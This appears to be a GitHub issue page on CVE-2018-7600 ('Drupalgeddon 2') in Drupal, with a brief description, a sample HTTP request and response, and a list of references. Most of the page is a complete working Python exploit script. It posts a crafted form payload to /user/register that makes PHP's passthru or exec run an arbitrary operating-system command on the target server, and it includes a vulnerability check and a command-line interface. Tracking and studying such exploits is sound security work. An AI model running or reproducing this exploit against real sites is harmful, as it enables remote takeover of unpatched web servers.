-
Notifications
You must be signed in to change notification settings - Fork 440
Open
Labels
Description
Description
Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.
Exploit
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# CVE-2018-7600
# Drupal: Unsanitized requests allow remote attackers to execute arbitrary code
"""Tested against Drupal 8.4.5
$ wget -c https://ftp.drupal.org/files/projects/drupal-8.4.5.tar.gz
$ setup Apache2 + Mysql + Drupal
$ python exploit-CVE-2018-7600.py http://192.168.1.19 "pwd"
/var/www/html
----
POST /user/register?element_parents=account%2Fmail%2F%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 144
Content-Type: application/x-www-form-urlencoded
form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=printf admin | md5sum
HTTP/1.1 200 OK
Date: Fri, 13 Apr 2018 05:19:28 GMT
Server: Apache/2.4.29 (Debian)
Cache-Control: must-revalidate, no-cache, private
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Ajax-Token: 1
Content-Length: 191
Connection: close
Content-Type: application/json
[{"command":"insert","method":"replaceWith","selector":null,"data":"21232f297a57a5a743894a0e4a801fc3 -\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
"""
# sudo pip install requests
from __future__ import print_function
__all__ = ['exploit']
__author__ = [
'a2u', # module developer
'Nixawk' # module Improved
]
import sys
import requests
def send_http_payload(drupal_home_url, php_func, php_func_param):
"""Exploit CVE-2018-7600 drupal: Unsanitized requests
allow remote attackers to execute arbitrary code
"""
params = {
'element_parents': 'account/mail/#value',
'ajax_form': 1,
'_wrapper_format': 'drupal_ajax'
}
payload = {
'form_id': 'user_register_form',
'_drupal_ajax': '1',
'mail[#type]': 'markup',
'mail[#post_render][]': php_func,
'mail[#markup]': php_func_param
}
# Clean URLs - Enabled
url = requests.compat.urljoin(drupal_home_url, '/user/register')
return requests.post(
url,
params=params,
data=payload
)
def check(drupal_home_url):
"""Check if the target is vulnerable to CVE-2018-7600.
"""
status = False
randflag = 'CVE-2018-7600'
vulnflag = randflag + '[{"command":"insert"'
response = send_http_payload(drupal_home_url, 'printf', randflag)
if response and response.status_code == 200 and randflag in response.text:
print("[*] %s is vulnerable" % drupal_home_url)
status = True
else:
print("[?] %s is unknown" % drupal_home_url)
return status
def exploit(drupal_home_url, php_exec_func='passthru', command='whoami'):
"""Execute os command.
"""
response = send_http_payload(drupal_home_url, php_exec_func, command)
if '[{"command":"insert"' in response.text:
command_output, _ = response.text.split('[{"command":"insert"')
print(command_output)
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python %s <drupal-home-url> <cmd>" % sys.argv[0])
sys.exit(0)
exploit(sys.argv[1], command=sys.argv[2])
References
- https://research.checkpoint.com/uncovering-drupalgeddon-2/
- https://nvd.nist.gov/vuln/detail/CVE-2018-7600
- http://www.securityfocus.com/bid/103534
- http://www.securitytracker.com/id/1040598
- https://blog.appsecco.com/remote-code-execution-with-drupal-core-sa-core-2018-002-95e6ecc0c714
- https://github.com/a2u/CVE-2018-7600
- https://github.com/g0rx/CVE-2018-7600-Drupal-RCE
- https://greysec.net/showthread.php?tid=2912&pid=10561
- https://groups.drupal.org/security/faq-2018-002
- https://lists.debian.org/debian-lts-announce/2018/03/msg00028.html
- https://twitter.com/arancaytar/status/979090719003627521
- https://twitter.com/RicterZ/status/979567469726613504
- https://www.debian.org/security/2018/dsa-4156
- https://www.drupal.org/sa-core-2018-002
- https://www.synology.com/support/security/Synology_SA_18_17
- https://www.tenable.com/blog/critical-drupal-core-vulnerability-what-you-need-to-know
- https://gist.github.com/AlbinoDrought/626c07ee96bae21cb174003c9c710384
- http://php.net/manual/en/function.call-user-func.php
- http://php.net/manual/en/indexes.functions.php